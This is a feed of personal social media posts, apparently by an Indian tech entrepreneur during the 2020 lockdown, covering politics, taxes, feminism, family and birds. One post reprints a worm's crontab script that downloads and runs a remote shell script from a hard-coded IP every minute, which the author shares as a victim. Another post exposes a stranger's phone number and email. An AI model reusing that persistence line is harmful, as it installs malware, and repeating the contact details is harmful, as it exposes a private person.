One of the defining things about contemporary democracies is the absolute impunity with which the rulers rule. So polarised are we between right and left (those who vote for their caste and religion and those who vote for fundamental rights and freedoms) that we have stopped holding our elected representatives accountable.
The world has locked billions of working age people into their homes, even though the virus bears a survival rate of 99.99% if you are a healthy individual under 50 years old. We have sunk the world into the highest unemployment rate since the WW1, for what? Why can't the at-risk population be made to self isolate without bringing the economy to its knees? The ripple effects of the economic turmoil is going to last for a decade. People who own businesses or shares in certain verticals have already lost their life's earnings.
All this is happening because democracy is currently broken in most parts of the world. You elect "strongmen", they take "bold" decisions. Nobody dares question their dimwittedness as they boldly lead their countries into disaster.
https://www.bbc.com/news/health-52543692
100% of the people who ever reached space, did so on spacecraft designed with public funding.
On Wednesday, for the first time in history, humans will rice a spacecraft built with the profit motive. The flight tickets will still be paid for with public funding.
Lucas has done more to rid my children of the fear of little insects, than any other content/education/attempt.
If you haven't watched Lucas, watch the whole series.
[Just photographed a little spidey in the washroom. Meet him in the comments (he's shy)]
This is very interesting. A great way to raise money and also create a market for artisans.
I didn't see a lot of Indian NGOs on it. But that is easy to fix.
The site is well made and the SEO is great. They have all the facets of a well made e-commerce site.
Kavin: Nilay, you're in my spot.
(eventually did make the guy move)
Parasite talks of class conflict. So does Paatal Lok.
TikTok, coming straight out of a theoretically classless society, knows exactly how to cater to the interests of those classes and castes that urban middle class India simply does not relate to. And it wins so hard, that it has been sending Indian judiciary into a tizzy with its crassness (yes, the culture and tastes of the "underbelly" and "underclass" are unpalatable to genteel India).
Instead of making content about class conflict, China makes a platform enabling content for the victims of class conflict. And it doesn't call the movies that the poor watch, B movies.
India kept talking about the bottom of the pyramid for decades. Babajobs tried to give them jobs, @[100063777711947:2048:Thinvent] tried to give them computers, others tried to give them education. Govinda gave them movies they enjoyed and identified with, all the while being shamed by the media that he was catering to the रिक्शा टाँगा audience. And now TikTok has given them a platform to create their own content and monetise it.
Not being a TikTok user, what I don't understand is - how do they keep the two worlds separate? The rich don't want to see the मुजरा of the poor. They are deeply offended. But I see rich urban kids on the platform too. How do they manage this miracle of isolation?
बचपन से ही ‘ष’ और ‘श’ मुझे सताते आए हैं। अकेले इन नालायकों की वजह से मेरी हिंदी भाषा से ख़ुन्नस हो गई थी school में। और अब जानने में यह आता है कि दोनों के उच्चारण में कोई फ़र्क ही नहीं हिंदी में। फ़र्क संस्कृत में होता था। मलतब ष एक legacy अक्षर है। School वाले कहते हैं कि देवनागरी एक ध्वन्यात्मक लिपी है। मगर इन जैसे अक्षरों कि वजह से हम जैसे बच्चों को वर्तनी रटनी पड़ती है।
बकवास। यह लोग ष का ख़तम क्यों नहीं कर देते? हटा दो किताबों से जब उसका कोई मतलब ही नहीं रहा।
Anyone in my network who can design a simple single layer PCB for Ess Kay? He already has the schematic in KiCAD.
Are there any online PCB design and prototyping services you have used in the past, with good results?
Nilay splashes water on Kavin.
Me: Nilay why'd you do that. You know if Kavin wakes up grumpy, he whines the whole day.
Kavin (deadpan): No I'll have a good day. It's just everybody else who will have a bad day.
Me and Nilay: Whoaaaaaaa!!!
The tragedy is that India forgives and forgets too easily. If we call elections now, the poor will bring the establishment crashing to the ground. But 2024 will be another era altogether.
Prasanna Subramanya Saligram is the kind of man who kidnaps you from your hostel room on his 🏍 and takes you around T Nagar buying Mysore Pak in humongous quantities. He makes sure the stuff reaches volunteers in Taramani, Nemeli and Kandhili the very next day.
Only a man as crazy as that can spend his life battling drug patents, pharma cartels and medicine price gouging.
He is the everyday hero the world needs ❤️ 💕
[People used to smoke, drink, do drugs in hostel rooms. I used to stash quintals of Mysore Pak and handmade handbags. Surprisingly, in the end we all turned out OK.]
This is the stuff that keeps Prasanna Subramanya Saligram up at night. https://www.vox.com/2019/4/3/18293950/why-is-insulin-so-expensive
Why does a free market for drugs lead to higher prices? Especially when the patent on insulin was given away for free, like many many other drug patents.
Universities and agencies spend billions of dollars of public money on drug research, and then give away those patents for free in public interest. They need to apply the GPLv3 or a similar license on these inventions, so that all derivative inventions and drugs are also patent free.
Most drug discovery is still done on the public dime. While profits accrue to large pharma, drugs stay unaffordable to most people, and generic drugs are targeted.
यह देखो। यह होता है असली reservation. हज़ारों सालों से अव्वल धंधा। Marketing करने चढ़ कर जाते हैं स्वयं प्रधान मंत्री।
और इन लोगों को चाहिए ग़रीबी quota 😂
Nepal’s new map claims territories of India in west, asserts control over Susta in east
56mm का कमाल!
Kavin: Do we still have Amazon Prime.
Me: Yes. 🤔
Kavin: वो, एक movie देखनी है। Homework है।
Me: आईं 😳
[Context: my kids don't have access to any 🛰 📺 or OTT]
The US President is labouring under the delusion that the world cannot reinvent most of the technology that the US currently supplies. Or that the US can enforce its patents, many of which regularly get struck down even in US courts, on others through force.
Somebody tell him about Operation Paperclip. The entire US missile and space program was born out of the German V-2 rockets. The US rescued Nazi scientists, gave them US citizenship and put them to work building rockets in America.
Your lead isn't going to be there forever. You tell people they can't access something, they will find ways around it. During the cold war, if America didn't give a nation certain tech, they would align with Russia and get the same thing (see the Indian space and nuclear programs).
EPFO wants employees to resolve issues with employers through Twitter.
Mind. Blown.
Meanwhile, EPFO Gurugram is itself not on FB. And EPFO does not entertain complaints through social media.
Madam/Sir
Kindly refer to this office email dated 28-04-2020 on subject cited above. You were requested to open Facebook and Twitter accounts to resolve the grievances of your establishment/ employees. You are requested to inform if such accounts have been opened by your establishment. If yes, kindly provide the details of such accounts. Early response is requested.
Regards
Regional PF Commissioner, Regional Office, Gurugram
कद्दू कटेगा। सारे उद्योगपतियों में बटेगा।
It's been three days since I first saw this fellow 🦗 on the money plant 🌿 in my room. He is quite colourless. I wonder how he got in, when all the windows are closed in this heat. But he's happy now, and so are we.
There is this myth that capitalism leads to innovation.
Capitalism leads to the exploitation of every innovation by the rich, for the benefit of the rich.
Innovation is usually cheap. And people do it out of passion. But in a capitalist economy you then need millions of dollars worth of marketing to make people buy the product.
And if you have the millions of dollars for marketing, usually you don't need the innovation or a good product.
Therefore, in order to succeed, all you need is access to capital. In other words, rich friends.
VCs like to believe they foster innovation. Its a fun illusion to harbour. They're actually a small cog in the vast the-rich-keep-getting-richer machinery. They enable the rich to profit from the innovation, dreams and hard work of innovators. In the process, the innovators and VCs also get moderately rich.
But here's the thing about real innovators. Hardly any of them are in it for the money. Getting rich is a side effect of being a successful entrepreneur or innovator. Making money isn't the game. Seeing their idea successful is the game. Solving the problem is the game. Aligning with VCs and deep pockets and then having them breathe down their backs is the price they must pay to see their ideas come to fruition.
The number of real innovators I've seen, who've developed mental health issues from the relentless hounding by investors. And the number of rich kids I've seen, who've wasted tons of money on stupidly simple ideas that fell apart at the slightest signs of trouble. But the rich ones never had to answer.
This is me late night rambling. Rambling the truth, as I perceive it.
Trucks are carrying lakhs of people illegally, and charging thousands of rupees per person. See the videos for evidence. Now, no prizes for guessing who is pocketing most of that money as bribes.
लूट पाट की सरकार।
This!
Let me explain to you how GST works and how it has ruined domestic manufacturing while encouraging imports.
Let us say you get a desktop computer for $300 from an SEZ in China. The Chinese manufacturer is not paying any local taxes, duties or levies to their government out of this $300 - this is a completely Chinese tax free price. You buy the computers in bulk and have them shipped to India. You pay the shipping cost by air from Shenzhen to IGIA, which before Covid was not too much anyway. Or you could ship an entire container worth by sea to Chennai.
Once at the port, the customs officers assess the goods. No BIS is applicable on desktop computers, so there is no hassle, and the officer will usually agree with the invoice value of $300. You pay 18% IGST on this $300 to the government of India, through your bank account, and you get an IGST invoice. There is NO customs duty or any other levy. You pay exactly 18% on this. Customs clearance charges are a mere ₹4,000 or so on the entire shipment. Since this is an IGST invoice, the importer gets FULL CREDIT for this entire amount of tax paid, when they sell the product. So, let's say they sell the desktop for ₹25,000 + 18% GST. Out of the 4,500 GST they need to pay to the government, they have already paid ₹4097.34 to the customs department. So they only need to pay an additional ₹400 as GST at the time of filing returns.
Compare this with a desktop PC manufacturer in India. They import motherboards, SSDs and other components (that are currently not manufactured in India) and pay the exact same 18% IGST as the importer of the finished goods. They also source a number of components locally, for which they pay either IGST or a combination of SGST+CGST. The tax rate varies from component to component, can be 18%, 12%, even 28%. They meticulously collect all these invoices and apply for credit when filing returns. On the output side, they also sell for ₹25,000 + 18% GST, so they also owe ₹4,500 GST to the government.
The importer makes a profit of ₹2,000 per computer for very little work. The local manufacturer has to pay salaries, PF, rent, and a myriad other taxes and duties, out of his margins.
What do we observe:
a) Tax (GST) is the same on goods that are imported or manufactured locally.
b) There is no customs duty on finished electronics goods, one of the most popular import category from China. There is no BCD, CVD, all of that has been eliminated by the GST regime three years ago.
c) When you pay import duty (18% IGST) to the customs department, the receipt for this is given to you by the government of India. This is not up for dispute. You file for credit, you get credit. The same does not apply for domestic invoices, even after three years of GST. A lot of them still do not file their GST returns, so when you try to take credit, the GST system balks and rejects your input invoices. The amount of tax on the invoice can also come up for dispute, because in all its wisdom, the GST council often declares two tax rates for the same HSN code (yes, monitors had the same HSN code, but could be taxed at 18% or 28%, depending on the size, and there was no way modern invoicing systems were prepared to handle this).
d) The government tries to make up for this by floating different schemes from time to time. Manmohan had PMA and MSIPS, Modi just launched PLI. Many manufacturers who operate at scale have told me they haven't seen any MSIPS money they applied for. PLI has just launched, we need to wait and see if any of that promised money comes.
So the question arises, why does one manufacture in India? Labour rates are lower than China, but mechanisation is also lower. Most Chinese manufacturers operate in SEZs whereas Indian manufacturers are in domestic zones, where they must comply with a labyrinth of laws. Only at very large scale, where shaving a couple hundred rupees from the item through reduced shipping and lower labour rates has value, does it make any sense to make in India.
So when the government tells you to abandon imported goods, it is being disingenuous. It has brought in a tax regime, against the better advice of its experts, that incentives imports over local manufacturing. It can easily impose a duty on imported items, and go fight its case in the WTO, like Trump is doing with China. That requires political will. That first requires that the government stop awarding tenders and large orders to Chinese firms and other global firms.
Our exports to China, $10 billion. Imports, $60 billion. Deficit, $50 billion. You want to pick a fight with China, pick a fight. Tax the god-damn imports and ruin the life of finished good importers. If you don't have the guts, then don't ask the consumers to make a choice with their hard earned money.
Please view the videos and donate to AID. The need for PPEs, education material, and for food to vulnerable communities, is not going to go away even after the lockdown lifts. I personally vouch for every $ and ₹ you donate to AID. Please DM me if you have questions.
They will remember every policy of the previous government that they hated on when not in power. From GST to MNREGA. Suddenly, after years of defunding by Modi, officials are responsible for the non functioning of MNREGA.
My years of experience doing projects with the government has taught me this - when people on top want something done, it happens. When they don't want something done, they scuttle it, then blame the babus, officials, engineers, doctors.
When Lalu wanted Railways to modernise, computerization happened at break neck speed. Now Modi government is clueless, and it shows. Even Mamta B tried with मुश्किल आसान। But I haven't seen a single interesting IT project in Railways in the last six years.
On that topic, are you telling me that the Indian Railways is so incompetent that they couldn't have transported ALL Indians back to where they wanted to be before lockdown started? Bullshit. From ticket booking clerks to loco pilots, I'm yet to meet a Railways employee who is stupid. They're all intelligent and motivated. With full social distancing, at lowest cost, in ordinary coaches, they would have gotten everybody home within days. If the central government had told the GMs कि यह होना है, तो यह हो जाता।
I really pity people who work for the government. Every government just heaps it's incompetence on the officials. Without even giving them an opportunity to unleash their creativity and patriotism. People who are politically connected and चालू keep getting promoted, and eventually end up in the Rajya Sabha.
This is funny, but it's also rather relevant.
My children have had the privilege of going to very nice schools that focus on skills. Nevertheless, there are skills that the school does not or can not teach. I try and make up for that with experiential travel, weekend activities, and the occasional pandemic induced self isolation. Even all of this will not teach them to file taxes, balance the books, or maintain their bicycles.
What other skills do you think children should acquire before they become adults? Please contribute here: https://docs.google.com/document/d/1GpN2apSchlzSP_AghCvB9mB9efRWoIexSHNFjZNHlN4/
The children's vacations begin next month and we will try and cover as much of this as possible. So do help crowdsource a skill list 😊
https://en.m.wikipedia.org/wiki/Frances_Oldham_Kelsey
@[600161685:2048:Jaya Goswami] your could be the next Frances! You go girl.
They keep coming to our website looking for train tickets...
Submitted From : https://www.thinvent.in/catalog/dumb-terminal/#max-widget
Name : Saurabh mathur
Phone : 8191905265
Email : sm7175324@gmail.com
Message : Sir me ahmedabad 40 din se hu meri koi sunbai nhi ho he kirpya muje agra dejne ka kst kre aapki ati kirpa hogi Ahmedabad se agra
Can someone help this guy get home?
Ha ha ha. People pushing agendas. Anything to take the economy higher, eh.
Just saw Grofers delivering to a neighbour. Went online to discover they stock a bunch of items that I haven't seen in months. Began placing an order full of snacks and felt a pang of guilt. Here I am, affording luxuries, when millions of people are stuck away from home without money, food, work or dignity. Basic human rights violated at all levels. I've never felt so wretched about the lack of leadership in our country, as I do during this crisis.
Religion. Hoarding wealth since time immemorial. Even a pandemic isn't reason enough to unshackle that wealth. The hoarding is done for very important reasons that I cannot understand. Because I haven't read the vedas, you see.
यार यह Airtel का CEO मुझे हफ़्ते में चार बार email करता है, जब से corona शुरू हुआ है। यह अपने employees को दिन में कितनी बार याद करता होगा फिर? How do they get any work done?
I've given up on the miseries of this world. The news scares me no end. Every hour a new low is achieved by humans trying to capitalise on this virus. Labour laws gone. Forests being chopped. Hate being peddled.
I find solace in memes.
Look at their ages. This is going to be a massacre.
🍿
I formally learnt about feminism from the likes of Pushpa Achanta. What I understood was that feminism strives for gender equality. By extension, it stands for all forms of equality and justice, and a deep empathy for others.
What I see around me, what passes for feminism, is actually very different. One of the defining characteristics of contemporary feminism is that though shalt not speak about it. I am a male and it is outside my purview. I will listen and obey, not discuss and understand.
The current Corona crisis has unravelled a lot of the issues with contemporary feminism, that I have observed but not spoken about.
The feminism that is discussed and spoken about in India, is the feminism of upper to middle class urban Indians. All of the baggage of that class - a false sense of merit, and caste, class and financial privilege - comes with it. Our feminists compete with American feminists, who, in the absence of much of this privilege, are a completely different beast.
Middle class women who work, who take care of the home, and who are social activists - they are all supported by the poor working class women who take care of their homes. This working class woman takes care of her home, and also works outside to financially support her household. She has much more in common with feminists in the west than her educated employers.
The employer is in conflict with the interests of the employee. The employer does not look upon the employee as another woman who suffers from gender and wage inequality, workplace harassment, etc. She is the other.
COVID has sent all these workers home. The work done by her must now be done by workers of the household.
This presents a peculiar challenge. You see, aping the west, the Indian feminist has laid forth the following claims: (a) When she does not earn, she is still an equal contributor to the household because of the domestic work she does. (b) When she does earn, she does more than the male partner, because she both earns as well as takes care of the household.
But now, we find that a ton of new work has erupted in the household with the departure of the domestic worker woman. Then was the claim made in (a) above, false? Hours and hours a day of work, that you claimed you took care of, was actually being paid for by your working partner.
These kind of dilemmas come about because Indian feminists, just like their American counterparts, use feminism as a tool to further the interests of their own class. Their class is not the class of all women - their class is educated urban women.
This is why in India and the US, you see chimeras such as the conservative feminist. So you're feminist, but also believe in Hindutva. Therefore, you hate Ambedkar, who fought with the Hindu Mahasabha and brought out the Hindu code bills that gave women any of the rights they now enjoy in India. You also hate the USSR, even though communism began the process of giving women equal rights, and forced the hands of the west in giving women voting franchise. Finally, and most importantly, you hate the Muslim woman for the crime of being born Muslim and then bringing so many more Muslims into the world.
Over the years I've had arguments with many of my friends. When they say "we need X absolute right for women in India", I say that is great, but at what expense does that come? Does your safety at midnight on the streets of the metropolis, come at the expense of women police officers putting their own lives at risk doing patrolling duty, when they should be solving crimes against women. These trade-offs - people don't want to think about them. They want rights without responsibilities.
So women in India exercise the right to employ a domestic worker. But they need to be told, reminded, that during the Corona crisis, they must pay their workers, even if they are not getting any work out of them. They form cartels and use RWAs to limit the wages of working women. They do not fight casteism; they in face encourage RWAs to demarcate separate lifts for workers.
I asked a woman once why she supports separate lifts. She said she feels unsafe with worker men; and they smell. Statistically, men of a lower class pose barely any risk to women in India. When they cross that class line, it creates the kind of furore that the Nirbhaya case created. But what is more galling is that this modern feminist is OK with working women being exposed to these dangerous working men in the separate lifts.
This issue of feminism in India, we don't talk about it. People like me rely on discussions with others to understand issues. We don't rely on books, news anchors or gurus to tell us what we should believe. This rambling post clearly indicates that my thoughts on the subject are confused.
I've tried touching these topics with people. It always lead to resistance. I fully expect a bunch of people to unfriend me today. That is a small price to pay. For too long we have allowed a certain very vocal set of people to dominate gender discourse in India. They make up the rules as they go along. They also study feminism for the 95% of Indian women, and tell the world what feminism means in India. Yes, as with so many other things, the 5% privileged Indian who has inherited their last name, wealth and educational opportunity (what they call merit) - this 5% makes the rules for everybody. And this 5% doesn't like you debating their little fiefdom.
If you've always wondered how a sardarji looks like without his beard...
Service > religion
Google Chrome on Linux is a 155M binary. Dynamically linked and stripped, it comes to this.
Firefox puts all its meat in libxul, which is 118M.
Have we reached peak software yet?
Me, walking to the washbasin after greasing Kavin's bike.
"I don't need to wash my hands. I didn't touch anything from outside."
Starts walking back.
"Wait. Corona isn't the only reason to wash hands. My hands are literally covered in grease."
Turns around, reaches basin, washes hands
"I've scrubbed for 20 seconds. I'm done."
Rinses. Turns off tap. Looks at hands. Still dirty.
"Oh the 20 second rule applies for germs. But I still need to scrub more if my hands aren't clean."
I think I'm going mad 🤪
I'm at the neighbourhood shop buying groceries. Super stressed, trying to avoid touching anything. Mask on, so can barely speak.
Nilay: Tissue चाहिए
Me: ?
Nilay: Kavin की cycle की chain उतर गई है
Me: Tissue?
Nilay: Chain छुएँगे तो हाथ गंदे हो जाएंगे ना
Kavin: You greased my cycle yesterday. Now its dripping in oil, and slippery. Whiiiiine.
Me: Useless sanitised बच्चे। Cycle भी चलाएंगे, chain से हाथ गंदे भी नहीं चाहिए। We can't use a tissue from outside. Also, stand back and don't come near the shop or other people. Grumble grumble.
As part of his school work this week, Nilay had to study the Bhopal gas leak. He requested if he could sleep in my room one night, so grim was the content he had studied that day.
He asked me if I, having lived in Bhopal, could discuss the issue with him. I told him to read online what he could find. And then he and I could talk about what the media doesn't discuss and cover - the caste, class, religion, income levels and social status of a majority of the victims, and whether that could have had an impact on the abysmal handling of the issue. Also worthy of discussion is the impact of the relief money on society in Bhopal, and whether lump sum ex gratia amounts cause further distress.
https://m.timesofindia.com/city/visakhapatnam/vizag-over-1000-fall-sick-after-gas-leak-from-chemical-plant/amp_articleshow/75590112.cms
In the light of that, I'm satisfied that the AP government is giving immediate ex gratia to the victims. However, in order to prevent the future recurrence of such events, it is imperative that swift and decisive criminal action is taken against those responsible. From the owners down to the operator, people need to go to jail and also pay up for these and further damages. From Bhopal to Uphaar, the India legal system has been far too kind to wealthy perpetrators.
सौ सुनार की, एक लुहार की। UP के भी दिन आये 😅
https://www.thehindu.com/news/national/4-cms-dial-yogi-want-to-retain-labour-from-up/article31525047.ece
I'm trying to find gallows humour in the CMs of this nation treating labour like slaves.
This is The Hindu. It shows advertisements of a sexually explicit comic while discussing sexual harassment by and of underage children.
Don't be like The Hindu.
And we are back to square one, the day after lockdown has lifted in Gurgaon.
The first day of poor air after more than a month of good air.
Found this script in the crontab of two of my servers - one a box server on an Airtel fiber line and the other in the cloud (Linode).
#!/bin/sh
LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
LDR="wget -q -O -"
fi
crontab -l | grep -e "54.36.185.99" | grep -v grep
if [ $? -eq 0 ]; then
echo "c"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://54.36.185.99/c.sh | sh > /dev/null 2>&1"
) | crontab -
fi
Both servers were losing their mind - processor utilisation going 100%. The worm clearly passed on from the cloud to the box server, because the box server had been off ever since lockdown began in March and was only powered on this afternoon.
I wonder how much I need to sanitise my servers. What all could have been installed. I have turned off the server in the cloud for now. IP traces to an ISP in Poland.
Desperate people all over the country are looking for ways to get home. Why did we have to have this sudden, unplanned lockdown?
[The number of people who randomly show up on the Thinvent website looking for the Indian Railways has reduced over the years. But we still get quite a few visitors a day. I suppose once you supply to the Railways you become a part of them. 😳]
[I'm the fallback guy for our website chat - from way back when I configured the chat system. On the weekends the chats sometimes come to me - when the chat team is chilling.]
One of the most annoying questions clients ask startups, "So how big is your office?"
After COVID, the answer is going to be, "Means?"
I pity those companies that invested in fancy, expensive offices.
I hear the government is forcing us to install an intrusive app on our phones that let's them collect data with impunity and without any privacy guarantees.
Lovely. Just what we needed to fight an epidemic (of hate) in this country.
Time to find yourself a phone that runs Ubuntu, Firefox OS, or one without Google's Play Store. Or just carry a sub ₹1,000 feature phone when you step out during this shit show.
Its not like you can't build tracking crap for FLOSS OSs. Its just that the government won't care about you. You're a minority. Online, there is safety outside the herd.
If you're in a low paid profession - teacher, delivery person, store attendant.
If you studied the arts and humanities, if you can keep people entertained from a distance, if you can help them cope with difficult times - when you could have studied to be a doctor or engineer like daddy wanted.
If you are in a profession that people don't even want to pay for - counselling, therapy, spreading positivity through introspection and healing.
Now is your time. People need you.
The economic system did not let you monetise your skills even to the extent of meeting your basic needs - rent, food, medicine. But together we can displace the economic system where a market driven by invisible (but very conniving) forces strives to commoditise and devalue the work of everyone but the richest. Where investors look for unfair advantages, seek the ability to take something from the commons and make it proprietary.
We can change this world to a better one where not every transaction has a monetary value to it.
So, after Rishi Kapoor died, his daughter started from Delhi for Mumbai by road. She obviously couldn't have made it for the funeral; she was traveling to be with her mom through this difficult time. She was given a pass/permit due to bereavement.
Given his medical condition, she must have seen his death coming. And yet, no pass or permit is available for those who want to be with terminally ill parents.
This absolute and draconian lockdown, for which Modi goes around soaking praise from the press. It doesn't let someone travel to meet a parent one last time, before they die. But it does let them travel to be at their funeral. Even if they can't actually make it to the funeral when they travel by road.
The sheer, abject inhumanity of this. People talk about Soviet Russia being heartless, about Indira's India being run by bureaucratic diktats. But what is this? How else is this different, or any less Kafkaesque? Isn't this license raj?
People traveling from isolated household to isolated household, isolated in a car, is that low risk of high risk? I don't know. But a suit sitting in North Block does know that meeting a dying parent is impermissible, meeting a dead one is permissible (यह बस्ती है मुर्दा परस्तों कि बस्ती?)
I hope the middle class can see this for what it is. Most of them can't relate to the migrants, the poor, the farmers, the unemployed. Those people usually "deserved it", for being lazy, lower caste, मुफ़्त खोर, reservation खोर। But Riddhima is one of you. Neetu too. Can you at least appreciate their plight. And admit that this is wrong.
This approach of not trusting citizens, of assuming malintent, of making jokes about people being whacked with sticks. We have been there before, in different times. This time was supposed to be different. This time the bureaucracy and babudom were supposed to take a back seat, and business and personal freedoms flourish. This promised time has not come.
यह travel वाले डुबोएँगे देश को।
What confused messaging. Tells you to stay home stay safe. Then promptly tells you to head to Himachal, teasing you with beautiful visuals. And the obligatory सुन्दर कन्या is also there in the post, like all social media posts these days.
किसी कलाकार के जाने के बाद
तारीफों के पुल बाँध कर
अफ़सोस कर के
उन्हें याद कर के
क्या हासिल करते हो
जो ज़िन्दा हैं
उन्हें याद करो
उनके हुनर की कदर करो
दस से बीस साल लग जाते हैं
स्थापित होने में
किसी ऐसे कलाकार को
जिसके पास सिर्फ़ हुनर हो
कोई माई बाप नहीं
इतने सालों तक
कैसे पेट पालते हैं लोग
कैसे खुद को प्रेरित रखते हैं
कहाँ से लाते हैं सकारात्मकता
नए कलाकारों को मिलो
समझो
सराहो
कभी उनका अभिनय देखने जाओ
कभी खाने पर बुलाओ
बहुत मुश्किल होता है
जब सारी दुनिया पैसे कमाने की होड़ में हो
ऐसे में कोई अपने हुनर में महारत हासिल करने में लगा रहे
मग़र हमको
समाज को
कलाकारों की बहुत ज़रूरत है
कला के बिना जीवन बेरंग है
अंत में
बचपन में सीखी एक कविता सुना रहा हूँ
मैंने यह बात मन कर ली
आप भी करें
I have no voice for singing, I cannot make a speech,
I have no gift for music, I know I cannot teach.
I am no good at leading, I cannot ‘organize,’
And anything I write would never win a prize.
But at roll call at meetings, I always answer ‘here.’
When others are performing, I lend a listening ear.
After the program is over, I praise its every part,
My words are not to flatter; I mean it from the heart.
It seems my only talent is neither big nor rare,
Just to listen and encourage and to fill a vacant chair.
But all the gifted people could not so brightly shine,
Were it not for those who use a talent such as mine.
Purple Sunbird
The many moods of Bulbul
Dove 🕊
Bulbul. In a tree.
As I poured juice for myself this morning, I remembered the first time I had seen a tetrapak of juice. 20½ years ago, aboard the Greenpeace's Rainbow Warrior ship. I was a little shocked that life for volunteers could be this lavish. There was good food and wine a plenty aboard the ship.
My own exposure to the world had been very limited (but I didn't know that back then). I'd never seen anyone eat meat for breakfast. Never been abroad. I thought packaged food was only for people who lived in remote cabins. I found food packaging wasteful and damaging to the environment. I was confused why an environmental organisation like Greenpeace would allow for the generation of so much plastic waste for a litre of juice. Weren't glass bottles of Maaza better?
1½ years later I was at the MIT Media Lab. The room I was in, had projectors pointing in all directions. Two even pointed to the floor. Some research with ambient projections was going on. All I could think of was, "Well, that's one way to blow your research grant" (projectors were very expensive back then). MIT was the first place where I encountered lavish breakfast spreads. People would wait for the research group that had ordered the food to finish first, then attack like they'd never eaten before.
This is me, an year later (2002), in a kurta I borrowed from Sujith Mathew and never returned, and a shirt that Tarun Jain eventually gave up on. Both garments are still with me, although I haven't fit in either for years now. I blame my current girth entirely on packaged food and prosperity, not a sedentary lifestyle 😂
I quote paragraphs from the article:
"Cow urine, bleach and cocaine have all been recommended as COVID-19 cures — all guff. The pandemic has been cast as a leaked bioweapon, a byproduct of 5G wireless technology and a political hoax — all poppycock. And countless wellness gurus and alternative-medicine practitioners have pushed unproven potions, pills and practices as ways to ‘boost’ the immune system.
Thankfully, this explosion of misinformation — or, as the World Health Organization has called it, the “infodemic” — has triggered an army of fact-checkers and debunkers. Regulators have taken aggressive steps to hold marketers of unproven therapies to account. Funders are supporting researchers (myself included) to explore how best to counter the spread of COVID-19 claptrap.
First, we must stop tolerating and legitimizing health pseudoscience, especially at universities and health-care institutions. Many bogus COVID-19 therapies have been embraced by integrative health centres at leading universities and hospitals. If a respected institution, such as the Cleveland Clinic in Ohio, offers reiki — a science-free practice that involves using your hands, without even touching the patient, to balance the “vital life force energy that flows through all living things” — is it any surprise that some people will think that the technique could boost their immune systems and make them less susceptible to the virus? A similar argument can be made about public-health providers in Canada and the United Kingdom: by offering homeopathy, they de facto encourage the idea that this scientifically implausible remedy can work against COVID-19. These are just a few of myriad examples.
In my home country of Canada, regulators are currently cracking down on providers such as chiropractors, naturopaths, herbalists and holistic healers who are marketing products against COVID-19. But the idea that a spinal adjustment, intravenous vitamin therapy or homeopathy could fend off an infectious disease was nonsense before the pandemic.
It does actually need to be said that quantum physics doesn’t explain homeopathy and energy therapies such as reiki. That a colonic won’t bolster your immune system. That, no, a supplement spray won’t enhance the functioning of your stem cells."
I hope a day will come when people who use pseudoscience to peddle bogus therapies, especially during a pandemic, will be criminally prosecuted. Misusing terms like quantum chemistry to sell snake oil needs to be a crime.
If the government really wants to have an AYUSH ministry around, it needs to invest a lot of money in scientifically and clinically proving AYUSH remedies. If certain yogasanas work to cure certain chronic conditions, let the scientific evidence be presented. The world will be better off. Once a respected journal carries a peer reviewed article that conclusively proved the efficacy of a certain remedy, the world will embrace that cure, not just India. And then let us also scientifically investigate homeopathy and other cures, and if nothing beyond the placebo effect is found, such therapies must be immediately defunded and publicly denounced.
And a closer look at that bird
